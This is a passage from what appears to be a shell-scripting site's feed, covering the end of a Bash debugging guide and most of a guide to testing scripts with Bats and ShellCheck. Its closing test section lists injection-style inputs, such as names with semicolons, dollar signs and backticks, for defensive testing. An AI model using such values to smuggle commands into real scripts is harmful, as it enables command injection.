bash'\ndocker exec -it mycontainer sh\n</code></pre>\n<p>Overriding the entrypoint with a shell is the quickest way into an image whose normal entrypoint fails at once. Check which shell the script's shebang resolves to in the image: a script that uses Bash features and starts with <code>#!/bin/sh</code> fails on Alpine, as <a href=\"/library/posix-sh-vs-bash-portable-scripts\">the portable shell guide</a> explains. For hosts you reach through a bastion or with unusual options, <a href=\"/library/ssh-guide\">the SSH guide</a> shows how to inspect the effective client configuration.</p>\n\n<h2>Other tools worth knowing</h2>\n<p><code>ltrace</code> traces library calls, useful for programs that fail inside a shared library. <code>lsof</code> shows what files and sockets a process has open. <code>/proc/PID/environ</code>, <code>/proc/PID/cmdline</code> and <code>/proc/PID/status</code> expose a running process's environment, arguments and state, with NUL separators that <code>tr '\\0' '\\n'</code> turns readable. <code>dmesg</code> and <code>journalctl -k</code> show the kernel's view, including out-of-memory kills. <code>bash --posix</code> and <code>dash</code> test portability. <code>inotifywait</code> watches for file changes. <code>script</code> records an entire terminal session. And <code>tee</code> in a pipeline saves an intermediate result without disturbing the flow.</p>\n<pre><code class=\"language-bash\">tr '\\0' ' ' &lt; /proc/4242/cmdline; echo\ntr '\\0' '\\n' &lt; /proc/4242/environ | sort | head\ndmesg | grep -i 'out of memory'\ncmd1 | tee /tmp/stage1.out | cmd2\n</code></pre>\n<p>Each of these answers a specific question quickly, and none needs installation beyond a standard distribution. Learn two or three well and reach for them by habit, rather than adding <code>echo</code> statements and rerunning, which is slower and changes the program you are testing.</p>\n\n<h2>Common mistakes while debugging</h2>\n<ul>\n<li><strong>Changing code before reproducing the failure.</strong> You cannot tell whether the change fixed it.</li>\n<li><strong>Debugging in your login shell.</strong> Test with <code>env -i</code> and the same user as the failing run.</li>\n<li><strong>Reading <code>$?</code> after another command.</strong> Capture it on the line that follows the command.</li>\n<li><strong>Trusting <code>set -e</code>.</strong> It skips conditions, lists and local assignments.</li>\n<li><strong>Printing with <code>echo</code>.</strong> It hides whitespace and treats some data as options; use <code>printf '[%s]\\n'</code> or <code>declare -p</code>.</li>\n<li><strong>Leaving tracing on.</strong> It leaks secrets and floods logs.</li>\n<li><strong>Fixing a symptom with a retry or <code>sleep</code>.</strong> A timing fix hides a race.</li>\n<li><strong>Ignoring stderr.</strong> Redirecting it to <code>/dev/null</code> while debugging removes the evidence.</li>\n<li><strong>Optimizing without measuring.</strong> Count processes and time sections first.</li>\n</ul>\n<p>The common thread is replacing belief with observation. Every tool above exists to show what the shell and the kernel actually did, so that the next change addresses a fact.</p>\n\n<h2>Read the error message properly</h2>\n<p>Shell error messages are terse, but each one narrows the cause sharply when you know its usual meaning. The wording below is from Bash 5.2; other shells phrase the same faults differently.</p>\n<table>\n<thead><tr><th>Message</th><th>Usual cause</th></tr></thead>\n<tbody>\n<tr><td><code>command not found</code></td><td>Typo, missing package, or the directory is not in <code>PATH</code> for this launcher</td></tr>\n<tr><td><code>bad interpreter: No such file or directory</code></td><td>Windows line ending after the shebang, or an interpreter path that does not exist</td></tr>\n<tr><td><code>unbound variable</code></td><td>A variable used before it was set, under <code>set -u</code>; often a typo</td></tr>\n<tr><td><code>syntax error near unexpected token</code></td><td>A missing <code>then</code>, <code>do</code>, <code>fi</code> or <code>;</code>, or an unquoted parenthesis in an argument</td></tr>\n<tr><td><code>ambiguous redirect</code></td><td>An unquoted variable in a redirection that is empty or contains spaces</td></tr>\n<tr><td><code>integer expression expected</code></td><td>A numeric test with <code>-eq</code> or <code>-lt</code> on an empty or non-numeric value</td></tr>\n<tr><td><code>too many arguments</code></td><td>An unquoted variable in <code>[ ]</code> expanded to several words</td></tr>\n<tr><td><code>unary operator expected</code></td><td>An unquoted empty variable in <code>[ ]</code> left only an operator</td></tr>\n<tr><td><code>Permission denied</code></td><td>No execute bit, a read-only mount, or a missing directory permission</td></tr>\n<tr><td><code>Text file busy</code></td><td>Running or writing a script that is being replaced while in use</td></tr>\n<tr><td><code>Broken pipe</code></td><td>A later stage closed the pipe early, as <code>head</code> does; usually harmless</td></tr>\n</tbody>\n</table>\n<p>Two of these, <code>integer expression expected</code> and <code>unary operator expected</code>, almost always point at an unquoted or empty variable in a single-bracket test, and quoting plus a check that the value is set resolves them. The message also names the line where the shell noticed the problem, which for syntax errors can be well after the cause. When the line number looks wrong, read upward to the last opened block.</p>\n\n<h2>A second case: the script that never ran</h2>\n<p>Some bugs leave no output at all, because the script did not run when expected. A nightly job that has been silently failing for a month is more common than a loud one. Suppose a report is scheduled at 02:00 and no reports have appeared. Work through the layers in order, ruling each out with evidence, not assumption.</p>\n<pre><code class=\"language-bash\">systemctl list-timers --all | grep report\njournalctl -u report.service --since '3 days ago' --no-pager | tail -20\ngrep -i report /var/log/syslog | tail\nls -l --time=ctime /srv/reports | tail -3\nsudo -u reports env -i HOME=/srv/reports PATH=/usr/bin:/bin /usr/local/bin/report.sh; echo \"rc=$?\"\n</code></pre>\n<p>The first command checks that the schedule exists and when it last fired. The second reads what the job printed, which is the first place a real error message appears. The third checks cron and the mail system if cron is used. The fourth looks at whether the output files are being produced at all. The last runs the job as the right user in a bare environment, the most informative single test, because it reproduces the commonest causes: a missing <code>PATH</code> entry, a permission problem or a relative path. Only when each layer has been cleared does it make sense to read the script line by line. The reasons these layers fail are laid out in <a href=\"/library/automate-tasks-cron-systemd\">the cron and systemd timers guide</a>.</p>\n\n<h2>Write a regression test as you fix</h2>\n<p>A bug that has been found once will return unless something checks for it. The moment you have a reproduction, turn it into an automated test, run it to confirm that it fails, apply the fix, and run it again to confirm that it passes. The test records the lesson in executable form. For the sample bug the test creates a file name with a space and asserts that the total is correct.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bats\n@test \"totals sizes of files whose names contain spaces\" {\n  cd \"$BATS_TEST_TMPDIR\"\n  printf 'abc' &gt; \"a b.log\"\n  printf 'de'  &gt; \"c.log\"\n  run bash \"$BATS_TEST_DIRNAME/../total.sh\"\n  [ \"$status\" -eq 0 ]\n  [ \"$output\" = \"total: 5\" ]\n}\n</code></pre>\n<p>Before the fix this test fails, because the script prints a smaller total and complains on standard error; after quoting <code>\"$f\"</code> it passes. Keeping such tests turns each debugging session into a permanent improvement. The framework, with setup, mocking and CI, is covered in <a href=\"/library/test-shell-scripts-bats-shellcheck\">the testing guide</a>.</p>\n\n<h2>Handle flaky failures</h2>\n<p>A failure that happens one run in twenty is the hardest kind. The causes are few: a race between background jobs or between two copies of the script, a dependency that is slow or intermittently down, input that varies (a file arriving while the script reads it), or state left behind by an earlier run. The approach is to make the failure frequent enough to study, then record enough to tell the causes apart.</p>\n<pre><code class=\"language-bash\">for i in $(seq 1 200); do\n  ./flaky.sh &gt; \"run.$i.out\" 2&gt;&amp;1 || echo \"run $i failed (rc=$?)\"\ndone\nls run.*.out | wc -l\ngrep -L 'ok' run.*.out | head\n</code></pre>\n<p>Run it a few hundred times in a loop, with the trace going to a per-run file, and compare a failing run's trace to a passing one with <code>diff</code>. Look at what differs first: timestamps, ordering of output from parallel jobs, an environment variable. If two copies might overlap, add a lock and see whether the failure vanishes, which also proves the diagnosis. If a dependency is the cause, log its response time and status on every call so that a slow or failing moment is on the record. Resist the temptation to add a <code>sleep</code>: it moves the race and does not remove it.</p>\n\n<h2>Read the code in the order the shell does</h2>\n<p>Many bugs come from reading a line the way a human does instead of the way the shell does. The shell processes a command line in a fixed sequence: it splits the input into tokens and applies quoting, expands braces, then tilde, parameters, command substitution and arithmetic, then splits the results into words, then expands globs, and only then runs the command with its redirections. A rule that follows from that order is that a redirection target is expanded last and a brace expansion happens before variables are read, so <code>{1..$n}</code> does not count to <code>n</code>. When a line does something you did not expect, walk through it in that order and write down the value after each step. Doing this on paper once teaches you to see the steps at a glance, and it explains the whole family of surprises around quoting, splitting and ordering without a tool. The <a href=\"https://www.gnu.org/software/bash/manual/html_node/Shell-Expansions.html\">Bash manual's description of shell expansions</a> lists the order.</p>\n<pre><code class=\"language-bash\">n=3\necho {1..$n}\neval echo {1..$n}\nseq 1 \"$n\" | paste -sd' '\n</code></pre>\n<p>The first command prints <code>{1..3}</code>: brace expansion ran before the variable was replaced, found no number to count to, and left the braces for the later step to leave alone; the second works only because <code>eval</code> forces a second round of expansion, which is why it is both a fix and a hazard; the third is the plain answer. The point is not this particular trick but the habit of asking in which phase a value becomes known.</p>\n\n<h2>Keep a short debugging routine</h2>\n<p>Having an order for the first ten minutes saves more time than any single tool. Read the error message completely and note the line. Run <code>shellcheck</code> and <code>bash -n</code>. Reproduce with the smallest input and the failing environment. Turn on tracing with a useful <code>PS4</code> and read the trace around the first sign of trouble, not the last. Print the real arguments of the failing command with the bracket helper. If the shell looks innocent, trace system calls with <code>strace -f</code> and look for <code>ENOENT</code>, <code>EACCES</code> and the call where a hung process sits. Fix the cause. Add a test. Remove any temporary debugging code, and keep the permanent switches. The routine is short on purpose, and following it every time is what turns debugging from a mood into a method.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>Large programs.</strong> Past a few hundred lines of logic, a script is better debugged as a program in a language with a real debugger, breakpoints and unit tests. Rewriting is often cheaper than extending the tooling around shell; <a href=\"/library/linux-command-line-guide\">the Linux command line guide</a> lists what the shell is good at, and the rest should move.</p>\n<p><strong>Heisenbugs in concurrency.</strong> Tracing changes timing, so a race in background jobs may disappear under <code>set -x</code>. Use logging to a file with timestamps and process IDs, and design for idempotence and locking instead of chasing the exact interleaving.</p>\n<p><strong>Production systems.</strong> <code>strace</code> slows its target, sometimes by an order of magnitude, and can alter timing. Attach to production processes briefly and with a narrow filter, or prefer lower-overhead tools such as <code>perf</code> and eBPF-based tracers.</p>\n<p><strong>Restricted environments.</strong> Containers without <code>ptrace</code>, hardened hosts and managed platforms may not allow <code>strace</code> at all. Fall back to logging, <code>set -x</code> to a file and reproducing the case somewhere you control.</p>\n<p><strong>Non-Bash shells.</strong> Features like <code>BASH_XTRACEFD</code>, <code>caller</code>, <code>PIPESTATUS</code> and the <code>ERR</code> trap are Bash-specific. dash has <code>set -x</code> and <code>PS4</code> but little else, and zsh has its own equivalents.</p>\n\n<h2>What to read next</h2>\n<p>Once a bug is fixed, keep it fixed with a test: <a href=\"/library/test-shell-scripts-bats-shellcheck\">the guide to testing shell scripts with Bats and ShellCheck</a> turns each reproduction into a regression test. If the cause was unquoted input, <a href=\"/library/shell-script-security\">the shell script security guide</a> shows the wider class. For the underlying language, <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a> covers the constructs that went wrong here.</p>\n<p>Primary sources used here: the <a href=\"https://www.gnu.org/software/bash/manual/html_node/The-Set-Builtin.html\">Bash manual on the set builtin</a>, the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html\">Bash manual on shell variables</a>, the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Bourne-Shell-Builtins.html\">Bash manual on builtins including trap</a>, the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html\">Bash builtins reference including caller</a>, <a href=\"https://man7.org/linux/man-pages/man1/strace.1.html\">strace(1)</a>, <a href=\"https://man7.org/linux/man-pages/man5/proc.5.html\">proc(5)</a>, <a href=\"https://man7.org/linux/man-pages/man7/signal.7.html\">signal(7)</a>, <a href=\"https://man7.org/linux/man-pages/man2/execve.2.html\">execve(2)</a>, the <a href=\"https://www.shellcheck.net/wiki/SC2086\">ShellCheck SC2086 page</a> and the <a href=\"https://www.shellcheck.net/wiki/SC2155\">ShellCheck SC2155 page</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Debugging"]},{"id":"https://shellhacks.dev/library/test-shell-scripts-bats-shellcheck","url":"https://shellhacks.dev/library/test-shell-scripts-bats-shellcheck","title":"Testing Shell Scripts With Bats and ShellCheck in Practice","summary":"Test shell scripts with Bats and ShellCheck: write tests, mock commands, test functions, run in CI and containers, and catch quoting bugs before they ship.","content_html":"<p>A shell script with no tests is a script that works until the day someone changes it. Shell makes the problem worse than most languages, because mistakes are silent: an unquoted variable, a pipeline that hides a failure, or an assumption about the current directory produces no error, only a wrong result. The tools that fix this are ordinary and cheap. ShellCheck finds a large class of bugs without running anything, and Bats lets you run the script against controlled input and assert on what it does. This guide builds both into a workflow, using a real backup script and a real test suite run on Debian 12 with Bats 1.8.2, ShellCheck 0.9.0 and Bash 5.2.15. Writing the scripts in the first place is covered in <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>.</p>\n<p>The guide covers what to test and at which level, ShellCheck in depth, a first Bats test, the <code>run</code> helper, temporary files and fixtures, testing exit codes and output, mocking external commands, testing functions, hostile inputs, setup and teardown, CI, containers and a matrix of shells, plus the habits that keep a suite useful instead of brittle.</p>\n\n<h2>Three layers of checking</h2>\n<p>Different tools catch different bugs, and the cheapest layer should run first. The first layer is static: the shell's own <code>bash -n</code> for syntax, <code>shellcheck</code> for quoting, portability and logic mistakes, and <code>shfmt</code> for formatting. These run in milliseconds, need no setup and find roughly the bugs that look obvious in review. The second layer is behavioral: tests that run the script and assert on its exit status, output and effects. These find the bugs that depend on what the script does with real files and arguments. The third layer is environmental: running the same tests across shells, distributions and the scheduler the script will run under, which finds the differences between your machine and the target.</p>\n<p>Each layer has a blind spot. ShellCheck cannot know what the script is supposed to do, so it finds no bug in a script that does the wrong thing correctly. Tests cover only the cases someone wrote. Environmental runs cover only the environments chosen. Together they leave little room, and a team that does all three catches most regressions before a human reads the diff. Start with the first layer today, since it needs no investment, and add the others as the script becomes something that matters.</p>\n\n<h2>Install the tools</h2>\n<p>Both are in the standard repositories. On Debian 12, <code>apt install bats shellcheck</code> provides Bats 1.8.2 and ShellCheck 0.9.0. Newer releases are available from the projects' own pages, and Bats can be vendored into a repository as a Git submodule so that every developer and the CI runner use the same version. Pinning matters: a ShellCheck upgrade adds new checks and can turn a green build red, which is good, as long as it happens on your schedule.</p>\n<pre><code class=\"language-bash\">sudo apt install bats shellcheck\nbats --version\nshellcheck --version | sed -n 2p\ngit submodule add https://github.com/bats-core/bats-core.git test/bats\ntest/bats/bin/bats --version\n</code></pre>\n<pre><code class=\"language-text\">Bats 1.8.2\nversion: 0.9.0\n</code></pre>\n<p>The project documentation is in the <a href=\"https://bats-core.readthedocs.io/en/stable/\">bats-core manual</a> and the <a href=\"https://www.shellcheck.net/wiki/\">ShellCheck wiki</a>. Both are short and worth reading once through. Keep a <code>test/</code> directory beside the script and a <code>make test</code> or equivalent target, so that running the suite is one command that everyone knows.</p>\n\n<h2>The script under test</h2>\n<p>All the examples use one script, a backup tool that archives a directory and keeps the newest few archives. It takes an optional <code>-k KEEP</code>, a source and a destination, validates its input and honors an environment variable <code>BACKUP_STAMP</code> that fixes the timestamp, which makes the output predictable in tests. That last feature shows the point of designing for testability, here by letting the clock be injected, is part of writing the script.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\nset -euo pipefail\nusage() { echo \"usage: backup.sh [-k KEEP] SOURCE DEST\" &gt;&amp;2; exit 2; }\nkeep=3\nwhile getopts \":k:\" o; do\n  case $o in k) keep=$OPTARG ;; *) usage ;; esac\ndone\nshift $((OPTIND - 1))\n(( $# == 2 )) || usage\n[[ $keep =~ ^[0-9]+$ ]] || { echo \"KEEP must be a number\" &gt;&amp;2; exit 2; }\nsrc=$1 dest=$2\n[[ -d $src ]] || { echo \"not a directory: $src\" &gt;&amp;2; exit 1; }\nmkdir -p -- \"$dest\"\nname=\"$(basename -- \"$src\")-${BACKUP_STAMP:-$(date +%Y%m%d%H%M%S)}.tar.gz\"\ntar -czf \"$dest/$name\" -C \"$(dirname -- \"$src\")\" -- \"$(basename -- \"$src\")\"\necho \"wrote $dest/$name\"\nmapfile -t old &lt; &lt;(ls -1t -- \"$dest\"/*.tar.gz | tail -n +\"$((keep + 1))\")\nfor f in \"${old[@]}\"; do [[ -n $f ]] &amp;&amp; rm -f -- \"$f\"; done\n</code></pre>\n<p>It saves as <code>bin/backup.sh</code> and is executable. The tests below exercise its exit codes, its validation, its handling of file names with spaces and its rotation. Notice it has several behaviors that are easy to break silently: the exit code 2 for usage errors versus 1 for runtime errors, the digit check on KEEP, and the number of archives left after a run.</p>\n\n<h2>Run ShellCheck first</h2>\n<p>Before writing a single test, run ShellCheck on the script. It is the quickest source of real findings, and fixing them first stops tests from encoding bugs as expected behavior.</p>\n<pre><code class=\"language-bash\">shellcheck bin/backup.sh\n</code></pre>\n<pre><code class=\"language-text\">In bin/backup.sh line 17:\nmapfile -t old &lt; &lt;(ls -1t -- \"$dest\"/*.tar.gz | tail -n +\"$((keep + 1))\")\n                   ^------------------------^ SC2012 (info): Use find instead of ls to better handle non-alphanumeric filenames.\n\nFor more information:\n  https://www.shellcheck.net/wiki/SC2012 -- Use find instead of ls to better ...\n</code></pre>\n<p>It reports one finding at info level. The script uses <code>ls -t</code> deliberately, to sort by modification time, on file names the script itself created, so the warning is a judgment call: either accept it with a comment or switch to a form that does not parse <code>ls</code>. The exit status of ShellCheck is non-zero when it reports anything, including info notes, which matters for CI. Use <code>-S warning</code> to fail only on warnings and errors, and fix or explicitly disable the rest.</p>\n\n<h2>Decide what ShellCheck should fail on</h2>\n<p>ShellCheck has four severities: error, warning, info and style. On a clean script you can fail on everything; on an old code base, failing on style notes buries the real findings. A sensible start is <code>-S warning</code> in CI, then fix info notes in a cleanup pass and tighten to <code>-S info</code>. Control it with a <code>.shellcheckrc</code> file at the repository root so that developers and CI agree.</p>\n<pre><code class=\"language-text\"># .shellcheckrc\nshell=bash\nexternal-sources=true\nenable=require-variable-braces,quote-safe-variables\ndisable=SC1091\n</code></pre>\n<pre><code class=\"language-bash\">shellcheck -S warning -f gcc bin/*.sh\necho \"rc=$?\"\nshellcheck -x -f json bin/backup.sh | head -c 100\n</code></pre>\n<p>The <code>gcc</code> format prints one line per finding in the form that editors and CI annotation tools parse. <code>-x</code> (or <code>external-sources=true</code>) follows <code>source</code> statements to check the files they load. The <code>enable=</code> line turns on optional checks listed by <code>shellcheck --list-optional</code>. Keep the file small: every <code>disable</code> in it silences a check for the whole project, so prefer local suppression where the exception is real.</p>\n\n<h2>Suppress a warning the right way</h2>\n<p>Sometimes a warning is wrong for a particular line, such as deliberate word splitting. Silence it with a directive comment on the line above, naming the code and giving the reason. A reason turns a suppression from a mystery into a decision that a later reader can reverse.</p>\n<pre><code class=\"language-bash\"># shellcheck disable=SC2086 # opts is a trusted, space-separated list built above\ntar $opts -f \"$archive\" -- \"$dir\"\n\n# shellcheck source=lib/log.sh\nsource \"$script_dir/lib/log.sh\"\n</code></pre>\n<p>The <code>source=</code> directive tells ShellCheck where a dynamically named file is, so it can follow it without a warning about not being able to. Keep directives as narrow as possible: placed directly above a command, they apply to that command only; placed at the top of a file, they apply to the whole file. Review them like code, and when a suppression has no reason, ask for one. A count of directives in the repository is a rough measure of how much unreviewed risk the code carries.</p>\n\n<h2>Your first Bats test</h2>\n<p>A Bats file is a Bash script with a special syntax: each <code>@test \"name\" { ... }</code> block becomes a function, and the test passes if every command inside returns success. Bats runs each test in its own subprocess, so tests cannot affect each other through variables. Save this as <code>test/backup.bats</code>.</p>\n<pre><code class=\"language-bash\">#!/usr/bin/env bats\n\nsetup() {\n  SCRIPT=\"$BATS_TEST_DIRNAME/../bin/backup.sh\"\n  SRC=\"$BATS_TEST_TMPDIR/data\"\n  DEST=\"$BATS_TEST_TMPDIR/out\"\n  mkdir -p \"$SRC\"\n  echo \"hello\" &gt; \"$SRC/file one.txt\"\n}\n\n@test \"prints usage and exits 2 with no arguments\" {\n  run \"$SCRIPT\"\n  [ \"$status\" -eq 2 ]\n  [[ $output == *\"usage:\"* ]]\n}\n</code></pre>\n<pre><code class=\"language-bash\">bats test/backup.bats\n</code></pre>\n<pre><code class=\"language-text\">1..1\nok 1 prints usage and exits 2 with no arguments\n</code></pre>\n<p>The output is in the Test Anything Protocol format: a plan line, then one line per test. The <code>setup</code> function runs before every test, so each starts from the same state. <code>BATS_TEST_DIRNAME</code> is the directory of the test file, which lets tests find the script no matter where they are launched from. <code>BATS_TEST_TMPDIR</code> is a fresh temporary directory per test, deleted afterwards. The usage test uses the <code>run</code> helper, explained next.</p>\n\n<h2>The run helper</h2>\n<p><code>run</code> executes a command and captures its exit status in <code>$status</code>, its combined standard output and standard error in <code>$output</code>, and the output split into lines in the array <code>$lines</code>. It then returns success regardless, so a failing command does not abort the test and you can assert on the failure. Without <code>run</code>, a command that exits non-zero fails the test immediately, which is what you want for setup steps and not for the thing under test.</p>\n<pre><code class=\"language-bash\">@test \"fails when the source is not a directory\" {\n  run \"$SCRIPT\" /nonexistent \"$DEST\"\n  [ \"$status\" -eq 1 ]\n  [[ $output == *\"not a directory\"* ]]\n}\n\n@test \"rejects a non numeric KEEP\" {\n  run \"$SCRIPT\" -k many \"$SRC\" \"$DEST\"\n  [ \"$status\" -eq 2 ]\n}\n</code></pre>\n<pre><code class=\"language-text\">ok 2 fails when the source is not a directory\nok 3 rejects a non numeric KEEP\n</code></pre>\n<p>Because <code>$output</code> merges the two streams, a test cannot tell whether a message went to standard error. Bats 1.5 and later add <code>run --separate-stderr</code>, which fills <code>$stderr</code> separately, and a <code>bats_require_minimum_version</code> call documents the dependency. The Debian 12 package is 1.8.2, so that option is available. Assertions use plain Bash: <code>[ ]</code> for numbers and exact strings, <code>[[ ]]</code> for patterns. The pair <code>[ \"$status\" -eq 0 ]</code> is the usual first line after <code>run</code>; asserting the exit status first makes a failure show the useful part.</p>\n\n<h2>What a failing test looks like</h2>\n<p>A test suite is only useful if its failures are readable. Bats prints the test name, the file and line, and the command that failed.</p>\n<pre><code class=\"language-bash\">@test \"deliberate failure shows output\" {\n  run bash -c 'echo got; exit 3'\n  [ \"$status\" -eq 0 ]\n}\n</code></pre>\n<pre><code class=\"language-text\">1..1\nnot ok 1 deliberate failure shows output\n# (in test file test/fail.bats, line 3)\n#   `[ \"$status\" -eq 0 ]' failed\n</code></pre>\n<p>The report names the assertion but not the value of <code>$status</code>, which is a weakness of bare <code>[ ]</code>. Print the context yourself when it helps, with <code>echo \"status=$status output=$output\" &gt;&amp;3</code>, since Bats shows anything written to file descriptor 3 in the report and hides the rest. Or use the <code>bats-assert</code> helper library, whose <code>assert_equal</code> and <code>assert_output</code> print expected and actual values side by side. The exit status of <code>bats</code> is non-zero when any test fails, which is what CI reads.</p>\n\n<h2>Assert with bats-assert and bats-support</h2>\n<p>The bats-core project maintains helper libraries that make assertions expressive and failures informative. <code>bats-support</code> provides the plumbing, <code>bats-assert</code> provides <code>assert_success</code>, <code>assert_failure</code>, <code>assert_output</code>, <code>assert_line</code> and <code>refute_output</code>, and <code>bats-file</code> provides file assertions such as <code>assert_file_exists</code>. Add them as submodules and load them in <code>setup</code>.</p>\n<pre><code class=\"language-bash\">setup() {\n  load 'test_helper/bats-support/load'\n  load 'test_helper/bats-assert/load'\n  load 'test_helper/bats-file/load'\n}\n\n@test \"creates an archive\" {\n  BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n  assert_success\n  assert_output --partial \"wrote\"\n  assert_file_exists \"$DEST/data-20261105000001.tar.gz\"\n}\n</code></pre>\n<p>When <code>assert_output</code> fails it prints the expected and the actual text, which saves the extra <code>echo</code> lines. Use <code>--regexp</code> for pattern matches and <code>--partial</code> for substrings. The libraries are optional: a suite of plain <code>[ ]</code> and <code>[[ ]]</code> works, has no dependencies, and is often enough for a script. Choose the libraries when failure messages are costing time.</p>\n\n<h2>Test a file with a space in its name</h2>\n<p>The point of a test suite is to pin down the behaviors that matter and are easy to break. For this script, the commonest regression would be losing the quoting, so a file name with a space gets its own test.</p>\n<pre><code class=\"language-bash\">@test \"creates an archive containing a file with a space in its name\" {\n  BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n  [ \"$status\" -eq 0 ]\n  [ -f \"$DEST/data-20261105000001.tar.gz\" ]\n  run tar -tzf \"$DEST/data-20261105000001.tar.gz\"\n  [[ $output == *\"data/file one.txt\"* ]]\n}\n</code></pre>\n<pre><code class=\"language-text\">ok 4 creates an archive containing a file with a space in its name\n</code></pre>\n<p>The environment variable <code>BACKUP_STAMP</code> makes the archive name predictable. Setting a variable on the same line as <code>run</code> applies it to that command only. The second <code>run</code> reads the archive's table of contents, so the test checks the effect and not only that a file appeared. A test named after the property it protects, \"containing a file with a space in its name\", doubles as documentation, and when it fails the name tells the reader what broke.</p>\n\n<h2>Test rotation and time-dependent behavior</h2>\n<p>The rotation logic depends on file modification times, which tests must control. The simplest honest approach is to create the files with distinct times, either by waiting or by setting the time directly with <code>touch -d</code>. Waiting makes tests slow, so prefer to set the time.</p>\n<pre><code class=\"language-bash\">@test \"keeps only the newest KEEP archives\" {\n  for n in 1 2 3 4; do\n    BACKUP_STAMP=2026110500000$n \"$SCRIPT\" -k 2 \"$SRC\" \"$DEST\" &gt;/dev/null\n    sleep 1.1\n  done\n  run bash -c \"ls '$DEST' | wc -l\"\n  [ \"$output\" -eq 2 ]\n}\n</code></pre>\n<pre><code class=\"language-text\">ok 5 keeps only the newest KEEP archives\n</code></pre>\n<p>This version sleeps a little over a second between runs, because the archives are sorted by modification time and the filesystem granularity can be coarse; it passed here but takes four seconds and could be flaky on a slow disk. A faster test creates the old archives by hand, with <code>touch -d '2 days ago'</code> and <code>touch -d '1 day ago'</code>, then runs the script once and checks that only the right ones remain. Where a script reads the clock, inject it, as with <code>BACKUP_STAMP</code>, or put a fake <code>date</code> first on the <code>PATH</code>, as in the next section. Tests that use real sleeps are a sign that the script needs a seam.</p>\n\n<h2>Mock external commands</h2>\n<p>A script that calls <code>curl</code>, <code>ssh</code>, <code>docker</code> or <code>systemctl</code> cannot be tested safely against the real thing. Replace the command with a fake. Because the shell finds commands through <code>PATH</code>, a directory of fake executables placed first on <code>PATH</code> intercepts the call with no change to the script.</p>\n<pre><code class=\"language-bash\">@test \"mock via PATH\" {\n  mkdir -p \"$BATS_TEST_TMPDIR/bin\"\n  printf '#!/bin/sh\\necho \"fake date\"\\n' &gt; \"$BATS_TEST_TMPDIR/bin/date\"\n  chmod +x \"$BATS_TEST_TMPDIR/bin/date\"\n  PATH=\"$BATS_TEST_TMPDIR/bin:$PATH\" run date\n  [ \"$output\" = \"fake date\" ]\n}\n</code></pre>\n<pre><code class=\"language-text\">ok 3 mock via PATH\n</code></pre>\n<p>A more useful fake records how it was called, so the test can assert on the arguments, and can be told what to print or what status to return.</p>\n<pre><code class=\"language-bash\">make_mock() {   # make_mock NAME [EXIT_CODE] [OUTPUT]\n  local dir=\"$BATS_TEST_TMPDIR/bin\"; mkdir -p \"$dir\"\n  cat &gt; \"$dir/$1\" &lt;&lt;EOF\n#!/bin/sh\nprintf '%s\\n' \"\\$*\" &gt;&gt; \"$BATS_TEST_TMPDIR/$1.calls\"\nprintf '%s' \"${3:-}\"\nexit ${2:-0}\nEOF\n  chmod +x \"$dir/$1\"\n  PATH=\"$dir:$PATH\"\n}\n\n@test \"notifies when the backup fails\" {\n  make_mock curl 0\n  run \"$SCRIPT\" /nonexistent \"$DEST\"\n  [ \"$status\" -eq 1 ]\n  grep -q 'hooks.example.org' \"$BATS_TEST_TMPDIR/curl.calls\"\n}\n</code></pre>\n<p>Each call appends its arguments to a file, which the test inspects afterwards, and the fake exits with the code you choose to simulate failures: a mock that exits 1 tests the script's error handling without needing a network that fails on demand. The <code>PATH</code> assignment in the helper runs in the test's shell, so it applies to every later command in that test. Keep the mocks tiny and put them in a shared helper file loaded by each test file. The bats-mock library packages the same idea if you prefer a ready-made one.</p>\n\n<h2>Mock functions and builtins</h2>\n<p>Builtins and shell functions are not found through <code>PATH</code>, so the PATH trick cannot replace them. Inside a test that sources the script's functions, define a function of the same name; a function takes precedence over a command, so a test can override <code>curl</code> or <code>date</code> without creating files.</p>\n<pre><code class=\"language-bash\">@test \"retry gives up after N attempts\" {\n  source \"$BATS_TEST_DIRNAME/../lib/retry.sh\"\n  calls=0\n  flaky() { calls=$((calls + 1)); return 1; }\n  sleep() { :; }\n  run retry 3 flaky\n  [ \"$status\" -eq 1 ]\n}\n</code></pre>\n<p>Note a trap here: <code>run</code> executes its command in a subshell, so the counter <code>calls</code> is not updated in the test's own shell and cannot be asserted afterwards. Either write the count to a file inside the fake, or call the function without <code>run</code> and capture its status with <code>|| status=$?</code>. Redefining <code>sleep</code> as a no-op also keeps tests of retry logic fast. The cleaner design is to give the function its delay as a parameter, so the test passes zero.</p>\n\n<h2>Make functions testable</h2>\n<p>A script that runs its work at the top level cannot be loaded without executing. The standard fix is to put the logic in functions and guard the entry point, so sourcing the file defines the functions and running it calls <code>main</code>.</p>\n<pre><code class=\"language-bash\">add() { echo $(( $1 + $2 )); }\nmain() { add \"$@\"; }\nif [[ ${BASH_SOURCE[0]} == \"$0\" ]]; then main \"$@\"; fi\n</code></pre>\n<pre><code class=\"language-bash\">bash lib.sh 2 3\nbash -c 'source ./lib.sh; add 4 5'\n</code></pre>\n<pre><code class=\"language-text\">5\n9\n</code></pre>\n<p>When the file is executed, <code>BASH_SOURCE[0]</code> equals <code>$0</code> and <code>main</code> runs. When it is sourced, they differ and nothing runs. A test can then source the file and call <code>add</code> directly, which is far faster than starting the whole script and makes small units easy to cover. This structure is also better design: logic in functions, one <code>main</code>, a single place where the script touches the outside world. Keep <code>set -euo pipefail</code> inside <code>main</code> or the guard, or the sourcing test inherits strict mode and fails in confusing places.</p>\n\n<h2>Test hostile input</h2>\n<p>The inputs that break shell scripts are predictable, so test them on purpose. A short list of awkward values catches most quoting and validation bugs: a name with a space, a name with a leading dash, an empty string, a name with a newline, a path that does not exist, and a path that is a symlink. For a security-sensitive script, add a value containing a semicolon, a dollar sign and a backtick.</p>\n<pre><code class=\"language-bash\">@test \"handles awkward directory names\" {\n  for name in \"with space\" \"-leading-dash\" \"semi;colon\" 